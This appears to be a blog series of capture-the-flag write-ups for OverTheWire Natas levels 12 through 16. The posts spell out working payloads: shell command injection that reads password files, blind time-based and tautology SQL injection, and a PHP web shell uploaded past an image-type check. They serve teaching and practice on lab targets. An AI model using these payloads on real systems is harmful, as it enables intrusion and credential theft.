Natas Level 16 – Semi-Blind Shell Injection

In this post, we’re going to be looking at Level 16 of the Natas wargame, hosted by Over The Wire.

What’s Going On?

Upon logging in, we are presented with a text field, submit button and the usual link to the PHP source code of the level.  Additionally, we’re given a bit of text that says this level now filters even more characters.  Seeing this screen, we should be reminded of Level 10 which took a value from us, and used grep to find it in a dictionary.txt file.  However, to verify, it’s look at the PHP source code.

Once we look at the code, we can see this is basically the same level except for a few small differences.  The main difference is that now more characters are filtered from the user input.  This includes single quotes, double quotes, back ticks, ampersand, pipe and semi-colon.  This is all in an attempt to prevent shell-injection, as our user supplied value is passed to the grep command.  However, this filtering doesn’t filter all necessary shell characters! Specifically, shell allows for commands to be executed in the following fashion:

$(command) will execute command

So, let’s look at how we can use the above execution format to beat this level.

Exploit

Part 1

Since we cannot put double quotes in our input, we can’t simply close the search quotes and specify another file to list as well, like we did in level 10.  Instead, we must supply some value within the grep search quotes, and get some result.  So, let’s think.  If we could get one character at a time from the password file and grep it against dictionary.txt, we could discern, based on the grep results, what character was searched for.  If we could do this for every character of the password, we could discern the password.  So, how can we do this?  Well, luckily linux provides us with the cut command.  We can use cut to select a specific character position from a string as follows:

cut -c1-1 < /etc/natas_webpass/natas17

The above command would return the 1st character from the natas17 password file.  Now, let’s remember we need to get that above command executed, not simply used as a search string itself, so we must wrap it in $() like:

$(cut -c1-1 < /etc/natas_webpass/natas17)

Submitting the above as our query returns a blank page.  This is possibly good or possibly bad.  Remember, passwords sometimes have numbers and the dictionary file doesn’t have any numbers.  So to make sure it’s working correctly, let’s submit the same command but for the 2nd character:

$(cut -c2-2 < /etc/natas_webpass/natas17)

Now we get a list result.  This tells us two things.  First, it tells us our submission is working as planned.  Second it tells us a list of words all sharing one same character.  In this instance it’s the letter “h”.

Great!  Now we can repeat this for every character position and get an idea of the password.  We will know where numbers reside, and we will figure out the letter of every other character!  However, we aren’t done yet.  We still need to figure out which number is in which numeric positions, as well as if characters are upper or lower case (since grep uses the -i flag for case-insensitive search).

Part 2

Now that we have a good idea on most of the password, let’s take a finer approach to nailing down the specifics (numbers and capitalization).

The linux shell provides many tools, including conditional logic through if/then/else statements.  If we can make use of this, we could compare the characters of the password to a specific value, and if they are equal return one value, if they’re not, return a different value.  We can use this logic to verify which characters are uppercase or lowercase as well as check what numbers are in the numeric positions of the password.  First, let’s look at the if/then/else structure:

$(if [ $(cut -c32-32 < /etc/natas_webpass/natas17) = x ]
then
echo x
else
echo 0
fi)

The above compares the 32nd character to lowercase x, and if it’s equal returns x, otherwise returns 0.  This is a good submission to this level as we will see a list of words containing x if the 32nd character is equal to little x, otherwise we will get no list (since there are no numbers in dictionary.txt).  One thing to note about the statement above is that when placed on new lines, there is no delimiter needed between the if condition, then, and else (If placed on the same line however, the required delimiter would be the semi-colon, which is filtered in this level).  But, how can we place new lines in a single line text field?  Well, we can’t.  Though, what we can do is specify the new line character through URL encoding.  Just like how the space character is encoded as %20, the new line character has ASCII hex value “0a” and can be encoded in the URL as %0a.  So, let’s look at the URL request for the above query:

http://natas16.natas.labs.overthewire.org/index.php?needle=$(if+%5B+%24%28cut+-c32-32+%3C+%2Fetc%2Fnatas_webpass%2Fnatas17%29+%3D+x+%5D%0athen%0aecho+x%0aelse%0aecho+0%0afi)&submit=Search

The above returns the list of words with x in them.  Thus, we can discern that the 32nd character of the password is in fact lowercase x.  To verify that this is case sensitive, change the lowercase x to uppercase and see that nothing is returned by grep.  Now, we simply need to test all characters in this same fashion for case, as well as the numeric spots for what number they contain.  Done by hand, this is easily finished within 15 minutes, or a script could be written using the above query only to brute force the password without even requiring step 1.

So What?

Input sanitization or filtering works great, when it checks for all possible attacks.  However, when even the smallest vector is left open, it will be found and it will be exploited.  This level goes to show that injection isn’t limited to SQL, or databases, or even the shell which was used here.  Injection is the result of control channels being mixed with data channels.  When user data can contain control characters and they are allowed to do their controlling work, there will always be problems!

Posted in Natas, Over The Wire, Wargames | Tagged , , , | 1 Comment

Natas Level 15 – Blind Injection

In this post, we’re going to be looking at Level 15 of the Natas wargame, hosted by Over The Wire.

What’s Going On?

Upon logging in, we are presented with another form.  This one prompts us for a username, and provides a “check existence” button.  A quick test of the form with a random username, such as “asdf”, and an assumed valid one, such as “natas16”, gives us a page which tells us the first user doesn’t exist and that the second one does.  To get a better understanding from here, let’s follow the link to the source code, and take a look at the PHP.

We can see that the PHP source starts out with a comment about the creation of a table in a database.  This table is called “users” and has two columns, “username” and “password”. Below this comment we see the main PHP section of the page.  This code checks that the “username” field of the HTTP request is set before continuing on.  If it is set, there is a connection established to the level15 database, and a query is constructed to look up entries which match the value submitted through the username field of the HTTP request.  Looking at how the query is constructed, we can see that it’s vulnerable to injection.  However, if we look through the rest of the code, we notice it’s slightly different than the previous level in that there is no line printing the password, nor printing the results of the query. So, how will we get the password to the next level?

Exploit

As we can see in the PHP code, there is no direct way to get the results of the query, or get the password.  Thus, we’re going to have to take an indirect approach.  So, how can we indirectly get information from the database?

Well, if we were able to compare the password field of the user natas16 to various values, and do something different when the values match, we could somehow get information out.  Since we know we cannot print information, how about doing something like making the process sleep?  Unfortunately, MySQL doesn’t have a sleep function we can embed in a query, but let’s look at what it does have.

  • Union – Combines sets, allows additional select statements to be run.
  • If – We can make conditional logic!
  • Substring – We can look at only one part of a string, say 1 character at a time.
  • Benchmark – Allows repeated execution of code, say, to delay the return of the query results (sounds similar to sleep!)

Now let’s think about how to combine those things to figure out the length of the password. As we can see from the PHP code, the query is as follows:

SELECT * from users where username=”username”

So, let’s choose the natas16 user, then join on another select query for the password which, if the length of the password is 32, will run a long benchmark before returning:

natas16″ UNION SELECT password, IF(LENGTH(password)=32,BENCHMARK(500000000,ENCODE(‘The Message’,’The Key’)),null) FROM users WHERE username=”natas16

When submitted, we can see that it takes a long time for the page to load (if it ever does).  If we change to length 31, the page loads immediately.  Thus, we have used this indirect path to gain information about what was in the table by using time as a pathway to transfer information.  Now that we know the password is 32 characters (like the previous passwords), let’s attempt to make another construction to test the values of the password.

As stated above, we can use MySQL’s substring function to return part of a string.  So, let’s use this to select one character in the string and compare it’s value to a character we specify.  If they are equal, we’ll force a benchmark, otherwise we’ll see the resultant page immediate.

natas16″ UNION SELECT password, IF(SUBSTRING(password,1,1) = BINARY(CHAR(50)),BENCHMARK(600000000,ENCODE(‘The Message’,’The Key’)),null) FROM users WHERE username=”natas16

One thing to specify about the above code is the use of binary(char(50)).  Char(50) specifies the character with ascii decimal code 50.  However, when MySQL compares strings (or characters), it does so without regard to case.  Thus, not including the binary() call, this query would run the benchmark for both char(97) and char(65) (a or A).  The use of binary(char()) forces case-sensitivity.

Now that we know how the above code works, we can submit it for every ASCII value we’d expect could be in the password as the input into the char() function, until we reach a value which forces the page to not return quickly (aka forces the benchmark to run).  Once this happens, we know we’ve found the ASCII value of the 1st character of the password.  For example, if we increase 50 to 51 and submit the query, we find out the page doesn’t load and thus, the first character of the password is ASCII 51, also known as the number 3.

Once we’ve found the 1st character, we can change the substring call from SUBSTRING(password,1,1) to SUBSTRING(password,2,1) and start all over again brute forcing char values at 48.  Once the 2nd character is found, restart with the 3rd, repeat until finished.

Now I hear you saying, “But that sounds boring and like it will take a long time!”  Yeah, well, write a script to do it.  Computers are great at repetitive tasks.  In fact, a PHP script to figure out the entire password isn’t too hard to write and is what I used for this challenge.  Expect a script post here in the future.

So What?

Even when results of a query are not displayed on the page, or directly used to display sensitive information, results are still transferred to users.  Results are a relative term, and with injection a result can be the delayed processing of a page, such as in this example.  More strenuous actions need to be taken to prevent injection in the first place, because as this level shows, even blind injection can be used to get the exact values in a database, such as a 32 character long password in under an hour (or faster in production web environments which will allow more connections at a time and thus, less throttling for a script).

Posted in Natas, Over The Wire, Wargames | Tagged , , , | 1 Comment

Natas Level 14 – Direct Injection!

In today’s post, we’re going to be looking at Level 14 of the Natas wargame, provided by Over The Wire.

What’s Going On?

Upon logging in, we see what looks like a log-in form with two text fields for a username and password, as well as a submit button and our usual PHP source code link.  Let’s go a head and look at the source code first.

Looking at the source, we can see that the main PHP section starts by performing a check for the username field of the HTTP request.  If it doesn’t exists, the form is displayed on the screen.  If it did exist, the code assumes the field was submitted.  If the username field did exist, the next thing that happens is PHP makes a connection to a MySQL database.  After connecting to the database, a query is created by concatenating strings for the query and the values directly from the username and password fields of the HTTP request.  Next, there is a check for the “debug” field of the HTTP request, and if it was provided, the query string is printed to the screen.  Finally, the query is executed, and if it returns at least one row, then the password for the next level is printed to the screen.

Now that we know what’s happening, how can we use it to get the password to the next level without actually knowing any usernames or passwords from the database?

Exploit

Looking at the PHP code, we saw that the value of the username and password fields of the HTTP request get directly placed into the query string without validation or sanitization. This means that we need to find some way to alter the SQL query with the value of those fields, such that the query itself will return at least one row. Again, since we don’t know the usernames or passwords, we’ll have to alter the query to return a row regardless of those factors. Lets look at the query we want to alter and think about how to alter it:

SELECT * from users where username=”username” and password=”password”;

This is the query that would execute if the username and password fields held the values username and password respectively. Now, let’s try to determine a similar query which would return at least one row, regardless of the username or password entered.  To do this, we’re going to have to alter the logic of the query.  We are able to alter the logic based on what we input for either the username or password, since control characters are not filtered out of either field.  Lets look at an example query structured around this one which will return fields:

SELECT * from users where username=”” and password=”” or ‘1’=’1′ “”;

The above query will select all rows from the users table where the username and password are blank OR where ‘1’=’1′.  Since ‘1’=’1′ is a tautology, it is always true.  This means that every row will be selected.  So, how can we go about making that query from what we were presented with?  Well, it turns out it’s quite easy.  All we have to do is leave the username field blank, and put a specific value into the password field.  Since the password field encloses it’s value in quotes, we can pretend the first quote following the equal sign is the first quote of the enclosure, and the last quote before the semi-colon is the last quote of the enclosure.  Thus, to form this query, we just need to enter the enclosed value into the password field:

” or ‘1’=’1′ ”

Upon submitting the above line as the password, we get a message that the log-in was successful and we are presented with the password for the next level.

So What?

Yet again we see how not verifying, sanitizing or escaping user supplied input can be very dangerous.  While those are good ways to protect against this type of attack (SQL injection in this case), another way is to use better API calls which combine input in a safe manner, such as parameterized/prepared statements.

Posted in Natas, Over The Wire, Wargames | Tagged , , , , | Leave a comment

Natas Level 13 – Image File Restricted Upload

In this post we’re going to be looking at Level 13 of the Natas wargame hosted by Over The Wire.

What’s Going On?

Upon logging in, we see nearly the same setup as in level 12, except for the statement that uploading is restricted to image files only.  To determine how, let’s take a look at the source code.  Viewing the source code, we can see that it is nearly all identical, except for two lines.  There is now a new added check on the file being uploaded.  This check uses the exif_imagetype() function to determine if the file being uploaded is an image file or not.  If it isn’t, an error is printed to the screen and the file isn’t uploaded.  Of course, if it is determined to be an image file, the file is uploaded and a link to it is printed to the screen.  So, since this level checks the file’s type, what can we do with it?

Exploit

Lets RTFM for exif_imagetype().  Doing so we can see that it says it “reads the first bytes of an image and checks its signature.”  Ok, neat.  But what can we do with that?  Well, if we take the time (seconds) to Google something like “first bytes of jpg” and click on the 3rd link, we might just find a site that tells us that “a  JPEG image file is always found to hold the value FF D8 FF E0 (Hex) in the first four bytes.”  Great.  So now we need to construct a file with those four specific hex bytes as the first four bytes of the file, and end it with our PHP snippet from last level.

So, to input the hex data, let’s jump to our Linux command line.  To input hex and php into a file, let’s use the following commands:

[somebox]$ echo ‘FFD8FFE0’ | xxd -r -p >> natas13attackfile.php
[somebox]$ echo “<? passthru(\$_GET[‘h’]); ?>” >> natas13attackfile.php

We should now have our correctly crafted “image” file.  Now, we simply have to follow what we did in the last level to upload it.  Download the current level’s HTML, alter the action URL in the form declaration and change the filename field’s value to a .php extension.  Now, use your browser to log into the natas13 website, then use your local page to submit the upload file.  After upload, follow the link and perform the same command as last time, except this time let’s check out the natas14 file!  Upon execution, this tactic works, and the Level 14 password is revealed.

So What?

In an attempt to limit file type uploads to images, this level uses exif_imagetype().  However, this function only looks for certain bytes of the file.  Additionally, PHP only evaluates certain parts of files, specifically that between <? and ?>.  Because of this, we were still able to get a file that has the first bytes of an image, and later has valid PHP within PHP tags.  Also, this level didn’t fix the problem of being able to upload a file with a PHP extension, causing it to run through the PHP interpreter.  These things together result in the vulnerability we were able to exploit and thus show, this isn’t the safe way to accept user files.

Posted in Natas, Over The Wire, Wargames | Tagged , , , | Leave a comment

Natas Level 12 – File Uploads

In this post we’re going to be looking at Level 12 of the Natas wargame, hosted by Over The Wire.

What’s Going On?

Loading up the level 12 page, we’re presented with two buttons, a prompt, and the classic link to the PHP source code.  From the prompt, it looks like this page is going to let us upload a .jpg file.  We could test it out, but let’s check through the source code first to understand what is happening.

While we guessed about the file upload HTML form, we can see it’s code in the bottom of the PHP file to verify.  Let’s look at it in detail and see what data it sends to the server.  We can see that there is a max file size, filename, the file, and a submit button.  All of these send data to the server on submit.  Now let’s go a head and look at the PHP code.

Starting at the top we see a function which generates a random 10 character string, called genRandomString().  Next we see the makeRandomPath() function which takes two arguments, a directory and a file extension, and makes a path by using the genRandomString() function and concatenating all these together in the form dir/RandomString.ext.  Moving on, we see the final defined function, makeRandomPathFromFilename().  This function takes a directory and a filename, takes the extension off of the filename, submits the directory and extension to makeRandomPath(), and finally returns the results.  Now that we’ve seen our custom functions for this level, lets look at the rest of the PHP code.

The active PHP code that pulls these functions together comes next.  First we see a check for the existence of the array key “filename” in the POST section, checking for a file upload.  If it exists, a target_path variable is assigned the return value from makeRandomPathFromFilename(“upload”, $_POST[“filename”]).  Looking at this, we can recognize two things.  One is that the directory that the file will be uploaded to is the “upload” directory, located in the current directory.  The second thing to note is that the filename passed to the makeRandomPathFromFilename() function is that of the hidden “filename” field in the HTML form section of the page, and is potentially something we could change (since it is user supplied after all).  Next we see a check to make sure the file is under a certain size and if it is, the file is moved to the target_path and a link to it is displayed on the screen.  So how can we use this as a vector of attack, to read the contents of the password file for the next level?

Exploit

As we previously stated, if a file is uploaded we will be given a link to it.  Thus, we don’t have to worry about the random name given to files.  However, what we do have to worry about, is how to upload a file other than a jpeg.  Again, as stated as an interesting point above, the file extension is obtained through the value of the “filename” key in the POST request.  This comes from the hidden filename field in the form.  To change the value of what is submitted through the form, we can download the HTML page onto our local machine and make a couple of changes to it.  First, we should change the value of the “filename” field to something ending in .php.  Second, we have to include the full URL of the index.php page in the action section of the form declaration.  Lets look at the altered HTML file we will save and view locally to upload our file:

<html>
<head><link rel=”stylesheet” type=”text/css” href=”http://www.overthewire.org/wargames/natas/level.css”></head>
<body>
<h1>natas12</h1>
<div id=”content”>

<form enctype=”multipart/form-data” action=”http://natas12.natas.labs.overthewire.org/index.php” method=”POST”>
<input type=”hidden” name=”MAX_FILE_SIZE” value=”1000″ />
<input type=”hidden” name=”filename” value=”8r9a7rmqez.php” />
Choose a JPEG to upload (max 1KB):<br/>
<input name=”uploadedfile” type=”file” /><br />
<input type=”submit” value=”Upload File” />
</form>
<div id=”viewsource”><a href=”index-source.html”>View sourcecode</a></div>
</div>
</body>
</html>

Open the above file in our web browser (with which you have already logged into the natas12 site).  Choosing a PHP file and submitting it will now result in the file being uploaded, and uploaded with the correct extension, ensuring it is parsed through the PHP interpreter.  Now that we can upload a PHP file and get a link to it’s location, let’s figure out what type of PHP file we might want to upload, and what we might want it to do.  Ideally, we would want to upload a PHP file which passes a variable value to the shell and returns the result.  This provides the most access possible, including access to what we need to do, read the password file.  An example PHP file might be:

<?php
passthru($_GET[“h”]);
?>

This simple file does all we need.  It passes the “h” variable value from the GET part of the HTTP request straight to the command line and returns it’s value to us.  If we choose to upload this file from our local altered natas12 form, we should see a message saying the file was uploaded and giving us a link to it.  Once we get the link we just have to go to that location, and append our command via the URL parameters.  An example URL for viewing the password file for the next level would be http://natas12.natas.labs.overthewire.org/upload/abcdefghij.php?h=more%20/etc/natas_webpass/natas13.

So What?

File uploading is inherently difficult as you cannot trust your users, but must let them place information on your system.  The main downfall of this level is the fact that the final extension used was from a value provided from a user.  If the upload script statically assigned a .jpg value to the end of file names, this problem wouldn’t have existed.  So again, the moral is being very careful with user provided information and how it is used!

Posted in Natas, Over The Wire, Wargames | Tagged , , | Leave a comment